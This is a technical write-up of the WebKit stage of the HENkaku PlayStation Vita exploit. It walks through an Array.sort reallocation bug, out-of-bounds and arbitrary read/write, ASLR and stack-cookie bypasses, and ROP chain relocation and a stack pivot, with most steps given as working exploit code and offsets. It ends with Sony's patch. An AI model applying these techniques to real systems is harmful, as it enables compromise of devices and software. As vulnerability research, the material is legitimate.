Intro

This starts the series of writeups for the HENkaku exploit chain. I’ll try not to spoil the KOTH challenge too much and only write up the parts that have already been reverse engineered, clarifying the details that other people have missed. However, in the case that the challenge becomes stale and no progress is made, I’ll probably publish the writeup anyway, lest it rots in the repo.

The PoC

WebKit is our favorite target of choice for user-mode code execution. While bypassing ASLR without scripting is possible in some cases, the JavaScript engine trivializes it. The web browser on the Vita also does not require the user to be logged into PSN and it does not auto-update. From the perspective of an end user, installing the hack is as simple as visiting a website and clicking a button. Simply put, it’s the perfect way to deliver an exploit.

Unlike on the 3DS, which has no ASLR whatsoever, Vita’s WebKit has an acceptable one providing an entropy of 9 bits. This makes brute-force attacks on ASLR extremely painful: 256 reloads on average to trigger the exploit. We need a better vulnerability than a generic use-after-free + vptr overwrite (aka spray-and-pray).

Thanks to some people who prefer to be unnamed, I’ve managed to obtain a nice PoC script crashing Vita’s browser on the latest (at the time) firmware. Interestingly, I was unable to find any information about this bug on the internet or in the public WebKit bugzilla and repo, though it might have been restricted.

So what I started with was this script:

var almost_oversize = 0x3000 ; var foo = Array . prototype . constructor . apply ( null , new Array ( almost_oversize )); var o = {}; o . toString = function () { foo . push ( 12345 ); return "" ; } foo [ 0 ] = 1 ; foo [ 1 ] = 0 ; foo [ 2 ] = o ; foo . sort ();

If you run it on a Linux host using Sony’s WebKit, you will see a segmentation fault. Let’s look at it in the debugger:

Thread 1 "GtkLauncher" received signal SIGSEGV, Segmentation fault. 0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152 152 m_value = JSValue::encode(value); (gdb) bt #0 0x00007ffff30bec35 in JSC::WriteBarrierBase<JSC::Unknown>::set (this=0x7fff98ef8048, owner=0x7fff9911ff60, value=...) at ../../Source/JavaScriptCore/runtime/WriteBarrier.h:152 #1 0x00007ffff32cb9bf in JSC::ContiguousTypeAccessor<(unsigned char)27>::setWithValue (vm=..., thisValue=0x7fff9911ff60, data=..., i=0, value=...) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1069 #2 0x00007ffff32c8809 in JSC::JSArray::sortCompactedVector<(unsigned char)27, JSC::WriteBarrier<JSC::Unknown> > (this=0x7fff9911ff60, exec=0x7fff9d6e8078, data=..., relevantLength=3) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1171 #3 0x00007ffff32c4933 in JSC::JSArray::sort (this=0x7fff9911ff60, exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/JSArray.cpp:1214 #4 0x00007ffff329c844 in JSC::attemptFastSort (exec=0x7fff9d6e8078, thisObj=0x7fff9911ff60, function=..., callData=..., callType=@0x7fffffffbfb4: JSC::CallTypeNone) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:623 #5 0x00007ffff329db4c in JSC::arrayProtoFuncSort (exec=0x7fff9d6e8078) at ../../Source/JavaScriptCore/runtime/ArrayPrototype.cpp:697 <the rest does not matter>

Turns out, it hits unmapped memory while executing JavaScript Array.sort function. But what’s going on here?

The bug

Let’s take a look at the JSArray::sort method ( Source/JavaScriptCore/runtime/JSArray.cpp ). Notice how the PoC creates the array:

var foo = Array . prototype . constructor . apply ( null , new Array ( almost_oversize ));

This makes an array of type ArrayWithContiguous . That’s why we get into the sortCompactedVector function. The full implementation of the function is as follows:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 template < IndexingType indexingType , typename StorageType > void JSArray :: sortCompactedVector ( ExecState * exec , ContiguousData < StorageType > data , unsigned relevantLength ) { if ( ! relevantLength ) return ; VM & vm = exec -> vm (); // Converting JavaScript values to strings can be expensive, so we do it once up front and sort based on that. // This is a considerable improvement over doing it twice per comparison, though it requires a large temporary // buffer. Besides, this protects us from crashing if some objects have custom toString methods that return // random or otherwise changing results, effectively making compare function inconsistent. Vector < ValueStringPair , 0 , UnsafeVectorOverflow > values ( relevantLength ); if ( ! values . begin ()) { throwOutOfMemoryError ( exec ); return ; } Heap :: heap ( this ) -> pushTempSortVector ( & values ); bool isSortingPrimitiveValues = true ; for ( size_t i = 0 ; i < relevantLength ; i ++ ) { JSValue value = ContiguousTypeAccessor < indexingType >:: getAsValue ( data , i ); ASSERT ( indexingType != ArrayWithInt32 || value . isInt32 ()); ASSERT ( ! value . isUndefined ()); values [ i ]. first = value ; if ( indexingType != ArrayWithDouble && indexingType != ArrayWithInt32 ) isSortingPrimitiveValues = isSortingPrimitiveValues && value . isPrimitive (); } // FIXME: The following loop continues to call toString on subsequent values even after // a toString call raises an exception. for ( size_t i = 0 ; i < relevantLength ; i ++ ) values [ i ]. second = values [ i ]. first . toWTFStringInline ( exec ); if ( exec -> hadException ()) { Heap :: heap ( this ) -> popTempSortVector ( & values ); return ; } // FIXME: Since we sort by string value, a fast algorithm might be to use a radix sort. That would be O(N) rather // than O(N log N). #if HAVE(MERGESORT) if ( isSortingPrimitiveValues ) qsort ( values . begin (), values . size (), sizeof ( ValueStringPair ), compareByStringPairForQSort ); else mergesort ( values . begin (), values . size (), sizeof ( ValueStringPair ), compareByStringPairForQSort ); #else // FIXME: The qsort library function is likely to not be a stable sort. // ECMAScript-262 does not specify a stable sort, but in practice, browsers perform a stable sort. qsort ( values . begin (), values . size (), sizeof ( ValueStringPair ), compareByStringPairForQSort ); #endif // If the toString function changed the length of the array or vector storage, // increase the length to handle the orignal number of actual values. switch ( indexingType ) { case ArrayWithInt32 : case ArrayWithDouble : case ArrayWithContiguous : ensureLength ( vm , relevantLength ); break ; case ArrayWithArrayStorage : if ( arrayStorage () -> vectorLength () < relevantLength ) { increaseVectorLength ( exec -> vm (), relevantLength ); ContiguousTypeAccessor < indexingType >:: replaceDataReference ( & data , arrayStorage () -> vector ()); } if ( arrayStorage () -> length () < relevantLength ) arrayStorage () -> setLength ( relevantLength ); break ; default : CRASH (); } for ( size_t i = 0 ; i < relevantLength ; i ++ ) ContiguousTypeAccessor < indexingType >:: setWithValue ( vm , this , data , i , values [ i ]. first ); Heap :: heap ( this ) -> popTempSortVector ( & values ); }

This function takes the values from the JS array, puts them into a temporary vector, sorts the vector, and then puts the values back into the JS array. Seems simple enough, right?

Because JavaScript arrays can contain different types of elements, the code normalizes them to some common type, which happens to be String in this case. By the way, if you’re not familiar with JS, this is how the spec defines it, so that when you do:

[ 1 , 2 , 3 , 10 , 20 , 30 ]. sort ()

you get an

Array ( 6 ) [ 1 , 10 , 2 , 20 , 3 , 30 ]

Back to the code snippet, on line 37 in the for loop, it calls the toWTFStringInline method for every element. For our custom object o , this would call the toString method implemented in JS:

o . toString = function () { foo . push ( 12345 ); return "" ; }

This pushes an integer into the array that is being sorted. If the array’s run out of its internal capacity, this also causes the array elements to get reallocated!

On the line 81 the sorted elements are written back into the array. However, the data pointer is never updated with the new value after the reallocation. To illustrate it:

The grey area here is free or unallocated memory. On Linux it is actually unmapped after realloc is called. Since the data still points at the old memory location, the web browser gets a segmentation fault when trying to write to unmapped memory.

Out-of-bounds RW

Depending on the contents, JSArray objects might be stored differently in memory. The ones we are operating on, however, are stored continuously as the metadata header (in yellow) plus array contents (in green).

The array contents are just a vector of JSValue structures, defined as:

union EncodedValueDescriptor { int64_t asInt64 ; double asDouble ; struct { int32_t payload ; int32_t tag ; } asBits ; };

The metadata header stores two interesting fields:

// The meaning of this field depends on the array type, but for all JSArrays // we rely on this being the publicly visible length (array.length). uint32_t m_publicLength ; // The length of the indexed property storage. The actual size of the storage // depends on this, and the type. uint32_t m_vectorLength ;

Our goal now is to overwrite both of them and “extend” the array beyond what’s actually allocated. To achieve that, let’s modify the o.toString method:

var normal_length = 0x800 ; var fu = new Array ( normal_length ); var arrays = new Array ( 0x100 ); o . toString = function () { foo . push ( 12345 ); for ( var i = 0 ; i < arrays . length ; ++ i ) { var bar = Array . prototype . constructor . apply ( null , fu ); bar [ 0 ] = 0 ; bar [ 1 ] = 1 ; bar [ 2 ] = 2 ; arrays [ i ] = bar ; } return "" ; }

If we get lucky, here’s what happens:

In this example, when the sorted values are written back using the data pointer, the metadata headers of both second and third bar get overwritten.

What do we overwrite them with? Remember that the green area is the vector of JSValue objects. Every JSValue object is 8 bytes. But if we fill foo with, for example, 0x80000000 , we only control 4 bytes, and the rest is used up for the tag . What’s a tag ? Let’s take a look:

enum { Int32Tag = 0xffffffff }; enum { BooleanTag = 0xfffffffe }; enum { NullTag = 0xfffffffd }; enum { UndefinedTag = 0xfffffffc }; enum { CellTag = 0xfffffffb }; enum { EmptyValueTag = 0xfffffffa }; enum { DeletedValueTag = 0xfffffff9 }; enum { LowestTag = DeletedValueTag };

The tag is how WebKit’s JavaScriptCore packs different types of values into a single JSValue structure: it can be an int, a boolean, a cell (which is a pointer to an object), null, undefined, or a double. So if we write 54321 , we only control half of the structure, and the other half is set to Int32Tag or 0xffffffff .

However, we can also write double values such as 54321.0 ! This way we control all 8 bytes of the structure, though there are some minor limitations.

Sidenote: Some floating-point normalization stuff implemented in WebKit does not allow for truly arbitrary values to be written. Otherwise, even without any vulnerabilities present you would be able to craft a CellTag and set its pointer to an arbitrary location. That would be really bad! Actually, it used to allow that, which is how the very first Vita WebKit exploit worked: CVE-2010-1807.

So let’s write double values instead:

foo [ 0 ] = o ; var len = u2d ( 0x80000000 , 0x80000000 ); for ( var i = 1 ; i < 0x2000 ; ++ i ) foo [ i ] = len ; foo . sort ();

u2d / d2u are small helpers to convert between a pair of int and a double :

var _dview = null ; // u2d/d2u taken from PSA-2013-0903 // wraps two uint32s into double precision function u2d ( low , hi ) { if ( ! _dview ) _dview = new DataView ( new ArrayBuffer ( 16 )); _dview . setUint32 ( 0 , hi ); _dview . setUint32 ( 4 , low ); return _dview . getFloat64 ( 0 ); } function d2u ( d ) { if ( ! _dview ) _dview = new DataView ( new ArrayBuffer ( 16 )); _dview . setFloat64 ( 0 , d ); return { low : _dview . getUint32 ( 4 ), hi : _dview . getUint32 ( 0 ) }; }

If we get lucky, inside arrays we will now find a few JSArray objects that are extended beyond their real boundary and have their length set to 0x80000000 .

Interestingly, this successfully corrupts a JSArray object on the Vita but crashes on Linux hitting a guard page. But this doesn’t matter because we’re not exploiting Linux.

Now when we write to one of the corrupted bar objects, we can achieve an out-of-bounds read/write which is awesome! But let’s upgrade it to a truly arbitrary RW so that we’re not constrained to writing double values converted through u2d .

Arbitrary RW

To obtain an arbitrary read/write primitive, I used the same trick as used by the 2.00-3.20 WebKit exploit, described here.

First, spray a bunch of buffers:

buffers = new Array ( spray_size ); buffer_len = 0x1344 ; for ( var i = 0 ; i < buffers . length ; ++ i ) buffers [ i ] = new Uint32Array ( buffer_len / 4 );

Then, find a Uint32Array buffer in memory and patch its buffer size and offset fields. Start searching at some arbitrary offset before the corrupted buffer’s (called arr here) elements.

var start = 0x20000000 - 0x11000 ; for (;; start -- ) { if ( arr [ start ] != 0 ) { _dview . setFloat64 ( 0 , arr [ start ]); if ( _dview . getUint32 ( 0 ) == buffer_len / 4 ) { // Found Uint32Array _dview . setUint32 ( 0 , 0xEFFFFFE0 ); arr [ start ] = _dview . getFloat64 ( 0 ); // change buffer size _dview . setFloat64 ( 0 , arr [ start - 2 ]); heap_addr = _dview . getUint32 ( 4 ); // leak some heap address _dview . setUint32 ( 4 , 0 ) _dview . setUint32 ( 0 , 0x80000000 ); arr [ start - 2 ] = _dview . getFloat64 ( 0 ); // change buffer offset break ; } } }

Finally, find the Uint32Array we’ve corrupted in the last step:

corrupted = null ; for ( var i = 0 ; i < buffers . length ; ++ i ) { if ( buffers [ i ]. byteLength != buffer_len ) { corrupted = buffers [ i ]; break ; } } var u32 = corrupted ;

Done! We now have a completely arbitrary RW, and we have leaked some heap address.

Code execution

We’re not done until we can execute code inside the browser process. Again, the old trick with textarea objects is used here. First, let’s modify the original Uint32Array heap spray to interleave textarea objects:

spray_size = 0x4000 ; textareas = new Array ( spray_size ); buffers = new Array ( spray_size ); buffer_len = 0x1344 ; textarea_cookie = 0x66656463 ; textarea_cookie2 = 0x55555555 ; for ( var i = 0 ; i < buffers . length ; ++ i ) { buffers [ i ] = new Uint32Array ( buffer_len / 4 ); var e = document . createElement ( "textarea" ); e . rows = textarea_cookie ; textareas [ i ] = e ; }

Using the corrupted Uint32Array object, find a textarea in memory:

var some_space = heap_addr ; search_start = heap_addr ; for ( var addr = search_start / 4 ; addr < search_start / 4 + 0x4000 ; ++ addr ) { if ( u32 [ addr ] == textarea_cookie ) { u32 [ addr ] = textarea_cookie2 ; textarea_addr = addr * 4 ; break ; } } /* Change the rows of the Element object then scan the array of sprayed objects to find an object whose rows have been changed */ var found_corrupted = false ; var corrupted_textarea ; for ( var i = 0 ; i < textareas . length ; ++ i ) { if ( textareas [ i ]. rows == textarea_cookie2 ) { corrupted_textarea = textareas [ i ]; break ; } }

Now we have two “views” into the same textarea object: we can modify it directly in memory using our u32 object, and we can call its functions from JavaScript. So the idea is to overwrite its vptr using u32 and then call the modified function through JavaScript.

Mitigation 1: ASLR

Remember that Vita has ASLR, which is why the exploit is more complicated than it could’ve been. But with arbitrary RW it doesn’t even matter: we can just leak textarea ’s’ vptr and defeat ASLR completely:

function read_mov_r12 ( addr ) { first = u32 [ addr / 4 ]; second = u32 [ addr / 4 + 1 ]; return (((( first & 0xFFF ) | (( first & 0xF0000 ) >> 4 )) & 0xFFFF ) | (((( second & 0xFFF ) | (( second & 0xF0000 ) >> 4 )) & 0xFFFF ) << 16 )) >>> 0 ; } var vtidx = textarea_addr - 0x70 ; var textareavptr = u32 [ vtidx / 4 ]; SceWebKit_base = textareavptr - 0xabb65c ; SceLibc_base = read_mov_r12 ( SceWebKit_base + 0x85F504 ) - 0xfa49 ; SceLibKernel_base = read_mov_r12 ( SceWebKit_base + 0x85F464 ) - 0x9031 ; ScePsp2Compat_base = read_mov_r12 ( SceWebKit_base + 0x85D2E4 ) - 0x22d65 ; SceWebFiltering_base = read_mov_r12 ( ScePsp2Compat_base + 0x2c688c ) - 0x9e5 ; SceLibHttp_base = read_mov_r12 ( SceWebFiltering_base + 0x3bc4 ) - 0xdc2d ; SceNet_base = read_mov_r12 ( SceWebKit_base + 0x85F414 ) - 0x23ED ; SceNetCtl_base = read_mov_r12 ( SceLibHttp_base + 0x18BF4 ) - 0xD59 ; SceAppMgr_base = read_mov_r12 ( SceNetCtl_base + 0x9AB8 ) - 0x49CD ;

Back to the actual code execution. On the Vita there’s no JIT and it’s not possible to allocate RWX memory. In fact, you can’t even mark memory pages as executable, which means we have to write the whole kernel exploit (the next stage of HENkaku) in ROP.

The old exploits used something called JSoS which is described here. However, in our case the browser becomes really unstable after corrupting the JSArray object, so we want to run as little JavaScript as possible.

As a result, a new version of roptool was written by Davee which supported ASLR. The basic idea here is that some words (a word is 4 bytes) in roptool output now have relocation information assigned to them. After relocating the payload, which is just adding different bases ( SceWebKit_base / SceLibc_base /etc) to these words, we can launch the resulting ROP chain normally.

Mitigation 2: Stack-pivot protection

Since an unknown firmware version, there is now an additional mitigation implemented: sometimes the kernel will check that your thread stack pointer is in fact inside its stack. If this is not the case, the whole application gets killed.

To bypass this, we need to plant our ROP chain into the thread’s real stack. To do that, we need to know its virtual address which is randomized because of ASLR.

However, we have arbitrary RW! There’s a ton of ways to leak the stack pointer. For example, I used the setjmp function. Here’s how we’ll call it:

// copy vtable for ( var i = 0 ; i < 0x40 ; i ++ ) u32 [ some_space / 4 + i ] = u32 [ textareavptr / 4 + i ]; u32 [ vtidx / 4 ] = some_space ; // backup our obj for ( var i = 0 ; i < 0x30 ; ++ i ) backup [ i ] = u32 [ vtidx / 4 + i ]; // call setjmp and leak stack base u32 [ some_space / 4 + 0x4e ] = SceLibc_base + 0x14070 | 1 ; // setjmp corrupted_textarea . scrollLeft = 0 ; // call setjmp

Now our corrupted_textarea is overwritten in memory with jmp_buf , which has to include the stack pointer somewhere. Later, we restore the original contents as follows. (This is done so that JavaScript does not crash the browser when we attempt to do anything else with the corrupted textarea object.)

// restore our obj for ( var i = 0 ; i < 0x30 ; ++ i ) u32 [ vtidx / 4 + i ] = backup [ i ];

Unfortunately, if we look at the setjmp implementation in SceLibc , we get hit with yet another exploit mitigation:

ROM:81114070 setjmp ROM:81114070 PUSH {R0,LR} ROM:81114072 BL sub_81103DF2 // Returns a high-quality random cookie ROM:81114076 POP {R1,R2} ROM:81114078 MOV LR, R2 ROM:8111407A MOV R3, SP ROM:8111407C STMIA.W R1!, {R4-R11} ROM:81114080 EORS R2, R0 // LR is XOR'ed with a cookie ROM:81114082 EORS R0, R3 // SP is XOR'ed with the same cookie ROM:81114084 STMIA R1!, {R0,R2} ROM:81114086 VSTMIA R1!, {D8-D15} ROM:8111408A VMRS R2, FPSCR ROM:8111408E STMIA R1!, {R2} ROM:81114090 MOV.W R0, #0 ROM:81114094 BX LR

The important part in pseudocode is:

stored_LR = LR ^ cookie stored_SP = SP ^ cookie

I’m sure you can see where this is going. We already know SceWebKit_base , so we know the actual value of LR . Using some simple math:

cookie = stored_LR ^ LR SP = stored_SP ^ cookie SP = stored_SP ^ (stored_LR ^ LR)

Or, in JavaScript:

sp = ( u32 [ vtidx / 4 + 8 ] ^ (( u32 [ vtidx / 4 + 9 ] ^ ( SceWebKit_base + 0x317929 )) >>> 0 )) >>> 0 ; sp -= 0xef818 ; // adjust to get SP base

Now we can write our ROP payload into the thread stack and pivot to it without the application being killed!

Finally, Code Execution

Remember the part about ROPtool implementing relocations. This means that we need to relocate the ROP payload before it can be executed. If you look at payload.js, this is what you will see:

payload = [ 2119192402 , 65537 , 0 , 0 , 1912 // and it goes on... relocs = [ 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , // ...

Every number from the relocs array indicates how the corresponding member of the payload array should be relocated. For example, 0 means no relocation, 1 is to add rop_data_base , 2 is to add SceWebKit_base , 3 is to add SceLibKernel_base and so on.

(A roptool-generated ROP chain has two sections: code and data. code is just the ROP stack. data is stuff like strings or buffers that we use in the actual kernel exploit. rop_data_base is vaddr of data. rop_code_base is vaddr of code.)

The next loop relocates the payload straight into the thread stack:

// relocate the payload rop_data_base = sp + 0x40 ; rop_code_base = sp + 0x10000 ; addr = sp / 4 ; // Since relocs are applied to the whole rop binary, not just code/data sections, we replicate // this behavior here. However, we split it into data section (placed at the top of the stack) // and code section (placed at stack + some big offset) for ( var i = 0 ; i < payload . length ; ++ i , ++ addr ) { if ( i == rop_header_and_data_size ) addr = rop_code_base / 4 ; switch ( relocs [ i ]) { case 0 : u32 [ addr ] = payload [ i ]; break case 1 : u32 [ addr ] = payload [ i ] + rop_data_base ; break ; /* skipped most relocs */ default : alert ( "wtf?" ); alert ( i + " " + relocs [ i ]); } }

In this loop we split the payload into two parts: code and data sections. We don’t want the code to touch the data because if the code is located right after the data (which is the case for roptool-generated ROP chains), when a function is called, it might damage a part of the data section. Remember that the ROP chain is executed from “top” to “bottom” and the stack (usually, and is the case on Vita) grows from “bottom” to “top”.

Once we’re done relocating the data section: if (i == rop_header_and_data_size) , we switch to relocating the code section: addr = rop_code_base / 4 .

On the left is how the ROP chain looks like while it’s stored in the payload array. On the right is how the ROP chain is written into the stack.

Finally, let’s trigger the ROP chain:

// 54c8: e891a916 ldm r1, {r1, r2, r4, r8, fp, sp, pc} u32 [ some_space / 4 + 0x4e ] = SceWebKit_base + 0x54c8 ; var ldm_data = some_space + 0x100 ; u32 [ ldm_data / 4 + 5 ] = rop_code_base ; // sp u32 [ ldm_data / 4 + 6 ] = SceWebKit_base + 0xc048a | 1 ; // pc = pop {pc} // This alert() is used to distinguish between the webkit exploit fail // and second stage exploit fail // - If you don't see it, the webkit exploit failed // - If you see it and then the browser crashes, the second stage failed alert ( "Welcome to HENkaku!" ); corrupted_textarea . scrollLeft = ldm_data ; // trigger ropchain, r1=arg // You won't see this alert() unless something went terribly wrong alert ( "that's it" );

When corrupted_textarea.scrollLeft = ldm_data is done, our LDM gadget will get called. R1 will be ldm_data , so it will load SP = rop_code_base and PC = pop {pc} from this buffer and as such will kick off the ROP chain!

Bonus: How Sony patched it

Sony regularly uploads new source code of their WebKit version, as required by LGPL, to this page. (Unless they don’t, in which case a friendly poke over email helps.)

Diffing the source code between 3.60 and 3.61 reveals the following (useless stuff omitted):

diff -r 360/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 361/webkit_537_73/Source/JavaScriptCore/runtime/JSArray.cpp 1087,1096c1087,1123 - } - }; - - - template<IndexingType indexingType, typename StorageType> - void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength) - { - if (!relevantLength) - return; - --- + } + }; + + template <> + ContiguousJSValues JSArray::storage<ArrayWithInt32, WriteBarrier<Unknown> >() + { + return m_butterfly->contiguousInt32(); + } + + template <> + ContiguousDoubles JSArray::storage<ArrayWithDouble, double>() + { + return m_butterfly->contiguousDouble(); + } + + template <> + ContiguousJSValues JSArray::storage<ArrayWithContiguous, WriteBarrier<Unknown> >() + { + return m_butterfly->contiguous(); + } + + template <> + ContiguousJSValues JSArray::storage<ArrayWithArrayStorage, WriteBarrier<Unknown> >() + { + ArrayStorage* storage = m_butterfly->arrayStorage(); + ASSERT(!storage->m_sparseMap); + return storage->vector(); + } + + template<IndexingType indexingType, typename StorageType> + void JSArray::sortCompactedVector(ExecState* exec, ContiguousData<StorageType> data, unsigned relevantLength) + { + data = storage<indexingType, StorageType>(); + + if (!relevantLength) + return; + 1167,1172c1194,1200 - CRASH(); - } - - for (size_t i = 0; i < relevantLength; i++) - ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first); - --- + CRASH(); + } + + data = storage<indexingType, StorageType>(); + for (size_t i = 0; i < relevantLength; i++) + ContiguousTypeAccessor<indexingType>::setWithValue(vm, this, data, i, values[i].first); +

They now update the data pointer before writing values into it! This means that even after the array gets reallocated, the function will still be writing to the right memory location. This is what causes the alert("restart the browser") error if you attempt to run HENkaku on 3.61. Good job, Sony!

Conclusion

That’s it for today! I hope you’ve enjoyed this writeup as much as I loved writing the exploit. Later, I’ll bring you more HENkaku writeups, so you better look forward to it.